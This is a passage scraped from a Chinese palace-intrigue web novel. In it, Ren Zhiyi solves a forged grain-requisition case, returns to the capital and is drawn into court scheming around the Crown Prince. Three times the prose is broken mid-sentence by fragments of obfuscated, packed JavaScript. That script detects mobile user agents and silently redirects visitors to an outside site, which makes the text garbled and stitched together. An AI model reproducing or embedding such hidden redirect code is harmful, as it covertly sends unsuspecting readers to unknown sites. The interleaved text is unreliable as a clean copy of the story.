一袭雪青色长衫，韩少初手执玉骨折扇，闲步而入。 任知宜斜睨他那孔雀开屏之姿，“你的伤好了？” “这里的药材药效极好，如今已无大碍。” 任知宜淡淡地点点头，继续专注地摆弄那张支粮单。 韩少初笑道：“听闻任姑娘已说服了我姑丈，我真是好奇，不靠韩家出钱，你究竟用的什么方法？” 看不出支粮单的问题所在，任知宜满心烦忧，不欲理他，随口应了一句“你若帮我看出这张支粮单的问题，我便告诉你。” 韩少初凑过头来，端详了一会儿，笑意更盛，“喔……原来用的是这个伎俩。” 任知宜猛地抬头，“你真能看得出来？” 折扇一收，韩少初往交椅上慵懒一靠，“这文书本身没有问题，有问题的是字。” 他将纸张置于光下，有一处字迹下显出微小的青色斑点。 任知宜和宝珠面露不解。 “两年前，我韩家的铺子有个掌柜与外人勾结，在租契上做手脚，用的就是这种不入流的手段。他们以墨鱼汁为墨，写上租契的金额，待字迹消失后再填上另一个金额，以此牟利。” 任知宜问道：“如何证明？” “这是市井无赖常用的手段，在官府中却不常见。因为墨鱼汁会变质，所以会在麻纸上留下一些小霉斑。” 就这样，一千石变三千石！ 原来如此。 “多谢韩公子解惑。”任知宜起身长揖，诚心道谢。 韩少初轻轻托住她的手臂，未受此礼。 “我说过，你我是友，非敌。只要于韩家利益无碍，我韩少初都愿意助你。” 任知宜展颜一笑。 “不过……”，韩少初话音一顿，“用这种手段篡改官府文书，其实并不容易。” “何意？” “银粮乃是官府重物，支取银粮的公文通常有三份，一份在司户手中，一份在长史手中，一份在度支手中，三方核对无误后方可支取。” 任知宜沉吟，“灵州州府一直未设度支一职，我爹通常将公文交给州府的文书姚存保管，至于司户，此人姓梁，之前已自尽。 “看来，我们得去趟灵州了。” 灵州地处睢州西南，相距二百里。 三人乘船，次日方到。匆匆见过任知宜母亲一面，便接着赶至梁司户家中。 梁夫人起初支支吾吾，推说不知，后来一番威吓之后，才说出实情。 前年，姚文书帮梁司户追回被骗的一大笔钱，自此二人相交莫逆，时常共饮。梁司户的家中有一尊玉佛，价值不斐，便是姚文书所赠。 “司户乃是七品，文书不过一介胥吏，他哪来的银钱送这么贵重的东西？” “民妇不知。”梁夫人面色惨白地绞着手里的帕子，神情惊惶。 “后来呢？” “后来粮仓被盗之后，我夫君日夜睡不安宁，我问他，他也不说。再后来，他便被下了狱。他下狱之后，家中院子里时常会有死鸡，血淋淋的，鸡头还被砍去半截。” “你将这件事告诉你夫君了？” 梁夫人以帕拭泪，“我也是吓怕了，去狱中给他送吃的时候告诉了他。谁料到，他当夜便自尽了。” “他死后，还有出现死鸡吗？” 梁夫人怯怯道：“没了。” 任知宜和韩少初相互对视，看来梁司户是为保住家人而选择自尽，幕后之人不是他。 这案子的关键，在于姚存。 可是，这个时候，姚存却突然失了踪。 灵州府衙在城中贴满告示，言明谁能提供姚存的踪迹，赏银五百两。 不到半日，任知宜和韩少初见了上百人。这些人为领赏银胡乱说一通，有些腌臜泼皮甚至借机趁乱取利，害得他们东奔西顾，白白浪费了好些时间。 韩少初奔波了一日，好看的桃花眼似要喷出火来，“姚存会不会已经离开灵州？” 任知宜摇头。 昨日州府的人还见过他，城中守卫也都说未见过他出城。可是，灵州城就这么大，谁敢藏匿一个官府的嫌犯？ “我们去姚存家里一趟。” “他孤身一人，无妻无儿，去他家里作甚？” 任知宜道：“再去找找线索，总不会什么都没留下吧。” 姚存的屋院很干净，衣奁的衣物叠放整齐，东厨囤有很多肉干和菜。 “你看这是什么？” 食指在案台上抹了一下，色泽鲜红。 “女子的口脂？”韩少初表情玩味。 “色妍润泽，应该是这两日才掉落上去的。” 韩少初摇着折扇，“看来，姚存有个相好的女人。” 照着这个线索查下去，他们很快找到这个女人，是米铺的宋寡妇。酷刑面前，宋寡妇招架不住，说出姚存的藏身之处。 可是，当他们赶到宋寡妇说的荒宅时，姚存已躺在院子的地上，腹部、心脏和颈部各有一处刀伤，失血过多而死。 从荒宅里搜出他随身携带的包袱，里面有路引、银票和札记。 札记中记载了金来赌坊的全部账目，原来姚存竟然是灵州最大的赌坊金来赌坊的幕后东家。姚存行贿梁司户，在州府为赌坊开方便之门，二人皆有分利，后来因为任平欲在灵州禁赌，导致二人不满，故意伪造支粮单，盗取粮仓，陷害任平。 查抄金来赌坊之后，一应账目皆与赌坊对得上，再加上宋寡妇的证词，案件明朗。 府衙也很快找到那个杀害姚存之人，是个欠债累累的赌徒，因为记恨姚存逼债，昨日见姚存鬼鬼祟祟地离家，便尾随上去杀了他。 案子告破，皆大欢喜。 任知宜心中却是疑窦丛生。 这案子破得太过于顺利，顺利地超出了常理，就好像有人刻意将凶手送到她面前一样。 有几个疑点，她无论如何也想不通。 第一，姚存为何要逃？他家中衣奁整齐，菜粮充足，看不出一丝仓惶离家的迹象。梁司户已死无对证，单凭梁夫人几句模棱两可的证词，她也很难逼他就范。可是，他却在此时选择逃命，无异于不打自招。 第二，姚存此人来历成迷，开金来赌坊之前，甚至没有人认识他。赌坊需要大量本金，他从何处得来？ 第三，她见过姚存身上的刀口，皆深及三寸，尤其是心脏一刀，极稳极准，一点儿都不像那个赌徒下的手。 第四，也是最重要的一点，没有人知道三千石粮去了哪儿，即使搜遍全城的荒宅，都没有找到。 “好了！”韩少初打断她的话，慵懒地靠在软垫上，“你此行是为救父，眼下最重要的是回睢州，将案情始末具禀朝廷，救你父亲出来。至于这案子的背后之人，待你回京之后，再慢慢详查也不迟。” 任知宜默然。 —— 船外，远山霭霭，苍松翠青。 沿江而下，眼看着睢州近在眼前。 此地名唤岩岬，以它为分割，瑜江向北为运河流经之地，繁华庶裕。与之相较，山南道府群山环绕，岬险林深，尤以灵州为最，是为大胤最为偏远贫瘠之地。 大胤朝堂皆将为官灵州视同流放，是以多年来，灵州州府中无论文官还是胥吏，多有不足。父亲在灵州做官，一做就是二十多年，再也未能离开。 案子虽已告破，但还是留下隐忧。她心中生出一种直觉，姚存之死或许与卫枢有关。 船行渡头，节度使副将迎二人下船。 副将说，节度使领兵巡查江防，近日不会回来。刑部已遣人来睢州，今日就到。节度使言明，此案全权交由刑部处理，待人到了，走个明路，便可将任大人放出来。” 任知宜秀眉微动，“刑部来的是哪一位？” “刑部郎中徐志。” 任知宜敛眸。 今日是卫枢承诺她的第七日，也是最后一日。 当真是巧得很！ —— 任知宜入牢里，将案情的来龙去脉给父亲讲了一遍。 任平听得震惊。 灵州赌坊日盛，常有扒客强行拉百姓进入，赌输后又逼人卖地卖女，任平多番训诫，赌坊却变本加厉，这才动了“禁赌”的心思。 姚文书平日寡言木讷，甚少与人打交道，没想到竟是赌坊真正的东家。 “那札记上没写三千石官粮的下落？” 任知宜摇头。 任平叹气，“官粮遗失数月，难以寻觅。我儿能平安归来，还替为父洗刷冤屈，已是不易，为父很是欣慰。这个案子告终，为父可能官位不保，不如我们一家人就此归隐山间，过些劳作日子也无不可。” 任知宜默然半晌，悠悠问道：“父亲可想做灵州刺史之位？” “阿宜，官粮被盗，为父要负失察之责，如何能升任刺史？” “女儿自有办法。” 任平张大着嘴，满脸愕然。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127521|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这几日，任知宜思虑再三。 徐志到达睢州的时间刚刚好，既然卫枢信守承诺，她亦不能食言。 更重要的是，她要完成在姨母面前所说的誓言。她要借助东宫幕僚的身份，在朝中斡旋，以助郭嘉与郓国一战。 “女儿曾在太子面前立誓，要效力东宫一年。” 任平面露忧色，“你一个女子，能做什么啊？” 任知宜眼睫微垂，眸色晦暗不明，“在爹的心目中，非要宜室宜家，才是女子本分吗？” “不是本分，是幸事。” 任平握着她的手，语重心长道：“如今你也到了婚配的年纪，你自小聪慧坚韧，颇有主见，为父想着为你寻一书香门第做婚配，不求富贵荣显，只要对方人品端正，家宅安宁，便能一生顺遂。” “爹，万事岂能尽如人意？”任知宜薄唇轻抿，“单说灵州如今的境况，百姓贫苦，又遭郓人欺辱。这世道若是不公、不宁，我们就算想要独善其身，也未必能如愿。” 任平略有所动，“太子为人如何？” “殿下清正端方，胸怀韬略，极恶朝官贪墨，常哀百姓之艰，如若日后登基，必是一代明君。” 从未听女儿如此夸赞过别人，任平神情动容，拊掌惊叹，“果真如此？那是我大胤之幸啊！” 此时，牢房的大门被打开。 隔得老远，便听到刑部郎中徐志的笑声，“恭喜任大人出狱啊。” 狱卒打开铁锁，徐志跨步而入，语态殷勤，“殿下命本官务必在今日之前赶到，本官日夜兼程，终于不负殿下所托。” 任平受宠若惊，慌忙作了一揖，“让徐大人受累了。” 徐志回礼，和煦笑道，“大人客气了，朝廷也知道灵州府衙艰难，此番大人失察，是情有可原。大人放心，朝廷的公文不日就会抵达，大人可官复原职，继续代知灵州。” 任平微怔。 这一席话，正印证了刚才任知宜所言，朝廷果然没有要追究他的意思。 这话既是寒暄，也是实情。 徐志心思玲珑，于公，灵州地远贫瘠，是朝廷根本不想管的一个烂摊子；于私，他一路连收太子三道急令，足见重视。 朝野上下皆传，任知宜匆忙离京，乃是与太子生了龃龉，不过照他看来，传言不过是空穴来风，这位东宫幕僚，日后还大有可期。 “本官预备明日回京，不知任待诏是否与本官同行？” 任知宜回望父亲。 见任平缓缓地点了点头，她屈身行礼，“叨扰徐大人。” ———— 马车行进，山南道的群山碧水渐渐缩成一道道虚影。 任知宜想起与父亲临别前的场景，眼眶微红。 两辆马车，一辆向北，一辆向南。 临行前，任平特意提前进城，买了一袋桂花糕，用油纸包着，冒着腾腾的热气。 轻嚼一口，桂花的香气盈满唇齿，像极了小时候的味道。 “我儿长大了。”任平抚着她的头，长长叹了一声，“为父想了很久，阿宜你比任何人都聪慧通透，从来不是困囿于后宅之人。” “爹！”任知宜轻咬下唇，声音略带哽咽。 “为父为官一生，空有抱负，可惜才疏学浅，力有不逮，我儿能为朝廷尽忠，为生民请命，为父心中快慰。” 十几年的边官生涯，将一个踌躇满志的青年蹉跎得霜华满鬓，只是初心依旧未改。 任平眉目舒展，削瘦的脸颊上浮现出一抹清隽温润的笑容，“既然朝廷让为父官复原职，我便要尽力做好这一任父母官。日后我在灵州，你在京城，相隔千里，务必照顾好自己的身体，常寄信回来。” 任知宜心中不舍，含泪点头。 “你一向聪慧过人，爹没什么好交代的，有宝珠在你身边，爹也还算放心。”任平的眼神温厚，“只须记得，不要过于勉强自己。如果做得不顺心，便辞官归乡，家中虽没有田产了，可爹还有俸禄，日子也能过得不错。” 一下子，任知宜的眼泪奔涌而出。 “父亲保重！女儿拜别！”双手交叠，屈身伏拜，额头磕在白玉般的指节上，久久不能起身。 车轮滚滚，山重水复。 任知宜望着远处山峦起伏，又湿了眼眶。 “任大人无罪释放，官复原职，任待诏该高兴才是。”徐志和声劝解道。 任知宜拭泪，点点头。 徐志怕她继续伤心，刻意转了话题，“不知刚才送行的那位公子是何人啊？” 节度使府门前送行时，韩少初笑眯眯地留了一句“山水有相逢，京城再见。” “他是郭将军的内侄，济州韩家的人。” 任知宜眉头深蹙。 韩家与郑家相争盐业经营权，恐怕不会放手。 43. 偶遇 少了韩家的龙骧福船，他们沿陆路而行，比来时慢了几日。 到达京城时，已是十几日之后。 甫进城门，便听得鼓乐笙箫，响彻天际。 任知宜掀起车帘一角，望向外面。 数千百姓夹道欢呼，里外三层，将朱雀街围了个水泄不通。 沿街的二楼雅座上，年轻的姑娘们以团扇相遮，露出半张粉面，含羞带怯地望着长街；也有胆大的女子凭栏翘首，眼神里满是期待。 “呵呵！”，徐志捋着须，欣然笑道：“诗人有云——春风得意马蹄疾，看这盛况，今日当是今科进士打马游街之日。” 大胤科举，会试之后为殿试，一甲为陛下亲封，赐状元、榜眼和探花之名，其余赐进士之名。 陛下赐进士打马游街，从石方街到朱雀街，状元三人还可由文华门入宫城，进清和殿面圣。这一日，乃是读书人一生最风光得意之时。 马车停稳，任知宜立刻吩咐宝珠去打听霍思修的情况。 不过片刻，宝珠喜不自胜地跑回来。 “小姐，霍书生他中了探花！” 任知宜闻言大喜。 “霍公子果然实至名归。”徐志赞叹不已，接着饶有兴致地问道：“状元和榜眼是谁？” 宝珠道：“状元是景相家的公子景随，榜眼是安州刘泰。” 任知宜心中感慨，这位景公子当日说状元之位非他莫属，此话竟不是妄言。 当日赌坊设下状元局，若非宫北楼心术不正，或许今日也在其中。 任知宜下了马车，寻得一高处远望。 满道齐簇，观者如潮。 最前方，是殿前四十九名禁卫开道，车马相接，旌旗摇展，宝盖明扇，进士皆身着深蓝罗衣，骑高头白马。 为首之人玉冠束发，红锦披身，在人群中格外耀目，玄色抹额衬得面如白玉，温润清俊。 后面紧跟二人，一人面容端肃，一人行止有礼，正是刘泰和霍思修。 锦衣华衫，跨马于街，志得意满，意气风发。 他们，才是真正的天子门生。 朱雀长街人流如织，高声鼎沸，“打马游街”的盛况更盛往年。 扫尽科举舞弊的阴霾之后，大胤需要靠这群人重建朝堂的威信。他们不但是真正的天子门生，还会在未来的朝堂，形成一股新的力量。 任知宜兀自出神，长街上的状元郎突然回头，朝她站立的位置笑了笑，笑容好似冰雪初霁，意暖融融。 满城的少女，皆惊艳于今科状元的青靡风华，而他的目光却胶粘在那一处，惊喜的眼神中透出烨烨流光。 任知宜拧眉，不确定景随是不是在看她，立刻戴上幂篱，匆匆离开。 景随见状，收回视线，轻快地笑了笑。 她回来了。 京城又要再起波澜。 白马哒哒而行。 前方文正门的轮廓渐渐清晰，日光下，门前的登闻鼓依旧泛着灰黄的色泽。 远望宫檐飞翘，层层红墙的后面，是大胤无上权力汇聚之处。 玄色抹额下的双眸阗黑，笑容渐归于冷漠。 ———— 明运街上的铺子大多生意红火，客似云来。 任知宜站在宝篆香铺门前，瞧着内里空无一人，心中微微纳罕。 正在铺子里洒扫的云娘听到声音，抬头一看，惊喜道：“东家！” “这些日子，辛苦姐姐了。” 净过手，云娘端上茶水，一脸羞愧地拿出账册，“还说什么辛苦！我真是没脸见东家。您走的这些日子，香铺生意差，整日里见不着客人。” 任知宜啜了口茶，柔声问道：“姐姐的身子恢复得怎么样？” 云娘滚钉后躺了好些日子，任知宜从程府后院挖出葛政的尸体，又帮着云娘操办了后事。云娘思考过后，决定不回鄂州，留在京城。 “多谢东家挂念，好得差不多了。”云娘眼睑微耷，“东家将铺子交予我打理，我却辜负了东家的信任。” 任知宜双眸一扫，铺内纤尘不染，架上的香料气味淡雅，清沁怡人，显然是极为用心的。 生意不好，必是另有原由。 任知宜沉吟片刻，笑得温柔和煦，“姐姐别急，这种情况从哪一日开始的？” 云娘回忆道：“大概是东家离京后的第二日。” 周边没有新的香铺开业，生意骤然冷情，难道是因为她与太子失和的传言？ 回想起走前与卫枢闹得不愉快，任知宜眼睑一跳，涩意从心头蔓延开来。 入城之前，徐志曾问她，要不要先去东宫面见太子？ 她踌躇半晌，还是拒绝了。 对于见卫枢一事，她心中没来由地生出几分抗拒。 这些时日，父亲的案子了结之后，她焦躁的心绪沉静下来，有足够的时间和精力审视当下。 似乎，在某些方面，她僭越了东宫幕僚的本分。 思及此处，她呼吸一滞，竟不愿继续深想。 “东家想到什么？”云娘望着任知宜青白交加的面色，更觉忧心，“很棘手吗？” 任知宜回过神来，轻笑自己庸人自扰。 “既然无人登门，我们便关门歇几日。” 云娘闻言一怔，“这怎么行？” “有人想让我们的铺子关张，与其在这里终日患得患失，不如顺其而为。”任知宜慢条斯理道。 云娘似懂非懂，尚自犹疑。 “既然当我是东家，便听我的。”任知宜笑得眉眼弯弯，“陛下今夜在宫中为进士设下琼林宴，朱雀街也有花灯夜会相贺，不如暂时抛开那些烦扰之事。” ———— 落日的余晖透过薄薄的云层，将京城洒上了一层淡金色。 熙熙攘攘的长街，已陆续挂起了花灯，店肆鳞次栉比，新奇的玩意儿琳琅满目，杂耍艺人吆喝的声音此起彼伏。 车马辚辚，人如潮涌。 任知宜与宝珠、云娘和唐橘每人买了一个糖人儿，站在杂耍摊前，看汉子表演大刀。 那汉子一把大刀舞得虎虎生风，招式空隙间再饮一口烈酒，刀势起得更猛。 宝珠和唐橘看得津津有味，高声叫好。 不远处，宫城上空，燃起了璀璨的焰火。 百姓纷纷驻足，翘首望去。 一会儿是龙蛇飞舞，一会儿是鱼跃龙门，光彩夺目，映得夜幕有如白昼。 云娘也被这绚烂的美景迷了眼睛，久违地露出了笑容。 四位姑娘，言笑晏晏。 周围有百姓看着她们，面带惊艳。 任知宜清雅，唐橘飒爽，宝珠天真，云娘温柔。 “我曾从西域胡商手里买过可以燃出紫焰的烟花，比这个更漂亮！我曾想过，日后要与他做生意，将这种烟花卖到大江南北。” 嘈声咂咂，任知宜的低声喃语，好似被风一吹，就散掉了。 宝珠格格地笑着，大声问道：“小姐刚才说什么？” 任知宜不在意地浅笑，轻吐秀舌，舔了舔手中的糖人儿，置身于满城花灯的锦绣繁华，令她心中多了几分闲适和随意。 四人顺着夜市，走到安宁桥上。 溧水纵贯兆京南北，其上有两座圆形拱桥，分别是安宁桥和顺宁桥，双桥隔水相望，宛如系在溧水腰间的两条玉带，秀丽文雅。 每逢年节，有花灯夜会之时，百姓喜欢站在桥身正中，欣赏船行夜泊之景。 双桥下的圆形石拱与水中倒影连成一体，为无边夜色添了几分静美。 皎月生辉，水波粼粼。 “咦？” 唐橘望见对面桥上的身影，轻轻瞥了一眼任知宜。 任知宜顺着她的视线望过去。 如青竹松鹤般的身影，于人群中卓然而立，银白色的帛带飘于发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127522|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间，现出世间难见的清贵风仪。 在他身旁，站着一位身姿窈窕的姑娘。 侧影婀娜，姿态妍美，高高的云髻上插着彩凤步摇，行止颇有仪范。 好似檀郎谢女，一对璧人。 任知宜怔怔地望着二人。 琼林宴的当夜，陛下宴群臣百官、明经进士之时，太子卫枢却与一位姑娘出宫夜游溧水。 唐橘凑到她身前问道：“对面那人是太子吧？” “……” 默了半晌，任知宜眼神盯着前方一动不动，仅是轻轻地“嗯”了一声。 “你回京后，可有面见太子？” 任知宜抿唇，微微摇了摇头。 “莫非……”，唐橘面露担忧，“传言是真的？你与太子之间，生了龃龉？” 任知宜眉间微动，眸色幽微。 “京城究竟流传着什么样的传言？” “一个传言说，你身为东宫幕僚却贪财逐利，仗东宫之势欺人，太子训诫约束，将你赶回灵州。” 任知宜问道：“听你的意思，还有另一个？” “另一个传言，则说是太子逼迫你做东宫幕僚，实际上是以你为刀，排除异己，并非真正信重。” “嗖……” 一道烟花直冲天际，在夜空中炸成漫天的银火。一瞬间，光芒照耀。 借着亮光，任知宜看清楚对面姑娘的脸。 双眸若水，艳如朝阳，好一张美艳昳丽的容颜。她不是宫中的大公主，亦不是京城中的任何一位贵女。 大胤有两地盛产美人，一是山南道，山水丰茂，美人多体态纤细，清雅柔静，蕴山川之灵蕴。 任知宜便是地地道道的山南道美人，只不过她气质过于沉静内敛，略略冲淡了这份柔美。 另一处盛产美人之地则是靖北道，平原辽阔，此地美人讲求骨肉停匀，是以皆美得身姿丰润。 观其形貌，任知宜隐隐猜到了这个姑娘的身份。 “知宜！”唐橘问道：“究竟哪一个传言是真的？” 任知宜收回视线，幽幽叹道：“既然是传言，则必有源头。是真是假，端看传言之人想要达到什么目的。” “呵！”唐橘两手一摊，冷笑道：“照这么说！第二个传言必是解州一派编出来的，那第一个呢？” “应该是御史大夫叶蕴之。” 唐橘一怔，“你二人都是东宫一派，叶大人为何如此？” 或许是因为，她于香铺门前收拾高大娘子，太子一意维护，叶蕴之担心太子背上骄恣之名。 任知宜静静地望向卫枢。 正在此时，卫枢似有所感，也朝对面望去。 二人四目相对。 清辉落落，玉人如昔。 今日，卫枢在东宫书房坐了一整日没等到的人，没想到在这里见到了。 这些时日，通过飞鸽传信，他已知晓任知宜在睢州和灵州发生的事，以她的敏锐，估计已经猜出这案子有异。 她没有来问他，竟然选择避而不见。 扶着桥槛的手微微缩紧，一股莫名的情绪侵扰心头。 焰火燃尽，夜色渐幽。 隔水相望，对面的身影渐渐模糊。 姑娘们被拥挤的人流推搡着，下了安宁桥，回到朱雀长街。 一处摊前，任知宜瞧着一盏兔子花灯灵动可爱，便买了下来。 一抬眼，卫枢与那位姑娘正站在长街中央，姑娘手中亦提着一盏兔子花灯。 卫枢微微沉吟，缓步上前。 “回来了。” 任知宜唇角微动，斟酌着话语。 那姑娘倒是先一步说话了，“殿下，她是谁啊？我买的兔子花灯不是唯一的一个吗？” 话音落下，带着七分骄矜，三分傲气。 任知宜眸色微起波澜，淡静从容地行了一礼，“东宫待诏任知宜，拜见懿靖郡主。” 44. 隐瞒 琼林宴上，君臣同欢。 酒酣之际，银釭烛影之下，皇帝见一众进士少年意气，风华正茂，一时喜上眉梢。 继而举杯醉言，“朕观今科一甲高才俊彦，可直入翰林，众卿以为呢？” 大胤进士者，还未有过直入翰林之先例。 此言一出，众臣皆怔。 翰林院大学士范昉率先反应过来，“今日良辰佳期，陛下得遇良才，乃我大胤之幸，陛下金口玉言，圣明之至。” 接着，众臣纷纷附和。 御旨随之而下，封景随为翰林院供奉，从六品；封刘泰和霍思修为翰林院待诏，正七品。 其余进士，经吏部考核后，委任道府州县之职。 一时之间，民间引为美谈。 三人府邸门前，宾客络绎不绝。 ———— 烟波浩渺，水气散在河面，盘旋缭绕。 倚窗而望，暮色春波，云霞尽染，禹山于溧水之后，山峦秀致，苍峰青翠。 一只苍羽白斑燕扑棱着翅膀，落在窗棂上，发出叽咕叽咕的声音。 “凌云楼不愧是京城首屈一指的酒楼，单看这景色，便让人心旷神怡。” 任知宜轻声赞叹，绯红色的罗纹裙摆在空中轻轻地划出一道弧线。 “姑娘喜欢，随时可来。” 紫檀黑漆桌案旁，一身黑色长衫的柳德手执青花缠枝耳壶，馥安茗茶的香气氤氲而出。 “劳尚书大人亲为，实在折煞小女子了。”任知宜躬身，双手接过白玉茶盏。 轻啜一口，“好香！不愧是天下第一名茶。” “姑娘若喜欢，老夫差人给姑娘送几份。”柳德不以为意道。 听他不作官称，任知宜素手微顿，笑意不减，“柳尚书，无功不受禄。” 白玉茶盏中的热气升腾，拂于面前，袅袅如烟。 “也算不得无功。” 柳德脸长额尖，眉骨偏高，不笑时面带肃厉，笑时又透着几分奸滑。 “听闻姑娘颇有经商的才干，应国将有一批香料运来大胤，老夫想接这笔生意，与姑娘合作。” 这生意一本万利，凭柳德的身份，与谁合作不行，偏要与她？ 任知宜浅笑不语。 柳德翻了下眼皮，慢条斯理道：“说实话，老夫原本是瞧不上姑娘的，不过没想到，连明泽这般智绝无双，竟也折在姑娘手中，令老夫不得不刮目相看。” 明泽，是程可靖的表字。 任知宜淡淡道：“程可靖不是折于我手，而是他自己心中有魔。” “无论如何，老夫开始觉得姑娘有些价值了。” 任知宜笑笑，“柳尚书看中的是我身为东宫幕僚的价值吧？” “呵……东宫幕僚？” 柳德眼睑微挑，唇角凝出一个讥讽的弧度，“姑娘真得以为自己深得太子的信任？若真如此，太子为何不告诉姑娘，他与安州王结盟一事？” 他满意地看到一抹异色在任知宜的眸中闪过。 “高期之案中，原本明泽派人去杀那个致仕的礼部官员，可是那人却被安州王的人救走，又被送到太子手中。姑娘可明白老夫的意思？” 在长公主府见到的身影突然浮现在任知宜的脑海中。那个头戴斗笠，昂首踏步的男子，虽看不见他的容貌，但是身形、气质皆与安州王极为相似。还有，那一夜被困暴雨中，景随说的话亦透露出此意。 柳德觑着她的神色，缓缓道：“既然得不到信任，姑娘这个东宫幕僚还有继续做下去的必要吗？” 茶盏捏在细白的指尖里，白瓷莹润，与其相得益彰。 任知宜静然不语，唇角噙出一抹淡淡的笑，“殿下做事自有原由，我只须做好分内之事。” “好一个忠心耿耿的东宫幕僚。”柳德大笑道：“你入京行贿是为了救父，太子答应为你父翻案，却迟迟不践行诺言，你可曾想过原由？” 任知宜的笑意淡了几分。 “其实……”，柳德悠悠道：“那份户部的支粮公文，早就在太子手中。” 任知宜手上的动作一顿，一双明眸黑得发亮。 “你是不是一直以为是老夫从中作梗？”柳德嗤笑，“你别忘了，苏叶是户部侍郎。” 任知宜心头重颤一下，喉头发紧。 门开，柳府的仆从跪着进来，将茶煎换了新，动作干净利落，浸茶的时辰拿捏得刚刚好。 暮色渐深，夜雾罩着禹山，辨不清真景。 柳德凭窗远望，感慨道：“自古谋夺大业者，皆心思难测，绝非良人。” 任知宜心跳猛地一促，呼吸乱了几瞬。 对方的眼神似笑非笑，好似是看透了她心底的隐秘。 柳德缓缓道：“姑娘可能不知，在姑娘回灵州九死一生之时，太子殿下亲自到安州接懿靖郡主进京。此事已传遍朝堂内外，陛下与皇后亦甚是欣慰，只待定下太子妃人选。” 他觑了一眼她的神情，“姑娘是个聪明人，何必痴情空付，在一条错路上走到黑呢？” 星子点点，桥影如月。 昨夜银花散落、长街偶遇之景在她脑海中一一闪现。 任知宜咬着下唇，脸色由青转白，弯曲的指节攥在一起，被掐到泛白。 柳德的声音带着几分嘲意，“以姑娘的容貌性情，想来太子还是会为姑娘留个侧妃之位的。” 若论杀人诛心，没有比这句话来得更恰如其分。 任知宜瞳眸黑如漆墨，声音冷过数九寒天，“柳尚书多虑了，知宜从未生过此等妄念。” 执盏的手轻颤，手背被滚烫的茶水燎了一下，落下一片潮红。 任知宜袖中攥拳，深深地呼了口气，“你告诉我这些，是想让我背叛太子？” “哈哈哈！”柳德笑得放肆，“姑娘说笑了，只是想请姑娘帮一个忙。” “何事？” “韩家所托之事，请姑娘劝太子不要参与其中。” 任知宜微微一怔。 原来，韩家欲争盐业经营之事，郑家早已知晓。 她薄唇释出几分冷笑，“可是，韩家答应送我五厘盐利，我帮柳尚书，又有什么好处？” “哈哈！”柳德捋着短须，笑道：“若姑娘答应，老夫愿意将这凌云楼送予姑娘。钱财傍身，远胜过海誓山盟。姑娘这么聪明，这个道理不会不懂吧。” 任知宜眸色几经变换，冷然离开。 —— 人走后，一直守在屋外的凌云楼掌柜进来，神情黯然。 柳德笑道：“你是舍不得这凌云楼？” 掌柜慌忙跪下，“小的不敢，只是这凌云楼经营多年，利润颇丰，心里有些惋惜。” “放心吧。”柳德淡然啜茶，“这凌云楼迟早还是会回到老夫手中。” “小的不懂，郑家已为此事做好万全的准备，大人为何还要拉拢她？” “郑家之事不过是个幌子。” 几盘小菜端上。 掌柜一边布菜，一边道：“小的真是愚钝，不懂大人的意思。只是觉得一个不入流的女官，犯不着大人为她费心谋局。这是今早刚摘的笋，用鱼汤煨了半日，您先尝尝鲜。” 柳德缓缓夹了一根，笋尖嫩净，鲜脆可口。 “不要轻视此女，她聪敏善谋，本是一大劲敌。”柳德顿了一下，笑道：“可惜啊！她不该动情。” 他笑带嘲意，继续道：“东宫暗线来报，她当面顶撞太子，僭越幕僚身份，太子却不以为忤，温柔相待，这二人之间哪里是君臣之谊？” “既如此，岂不是更难离间……？” “人一旦陷入情爱，便容易被其左右，越发纯粹的感情越容不得半点瑕疵。今日我与她相见，传到太子耳中，太子只要生出一丝疑心，再加上懿靖郡主的事，她势必会心灰意冷。 唇角轻扬，柳德露出一抹意味深长的笑容。 “老夫将有一局棋，待她深受情伤，心生怨念之时，她会成为老夫棋局里最重要的一子。” ———— 下了朝，众臣快步离开清和殿。 唯独太子卫枢停步，望着户部尚书柳德的身影，渐行渐近。 “柳尚书。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127523|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “殿下。” 二人缓步下阶，闲谈朝事。 “柳尚书今日提出加征绢税，是为了重修懿华宫？” 柳德道：“殿下也知道，去岁易州大旱，今年又碰上靖南道水患，引致流民作乱，财库空虚。陛下一直希望重修懿华宫，身为臣子，自当为陛下分忧。加征绢税，正是为解财库燃眉之急。” 卫枢长眉微动，“景相似乎并不这么认为。” 柳德神情微滞，微笑不语。 从后面传来一道高阔清朗之声，是户部侍郎苏叶。 “下官愿赴江南，清查赋税，为尚书大人分忧解劳。” 卫枢、苏叶二人环于柳德身旁，皆长身玉立风姿卓然，更衬得柳德身形矮瘦，犹如一个干瘪的小老头。 柳德阴声道：“苏侍郎一心为公，本官焉有阻碍之理？” “请大人允准。” “准不准，不是老夫说了算的。”柳德皮笑肉不笑地看着二人，“苏侍郎还是先回去拟一份奏表，提交政事堂合议吧。” 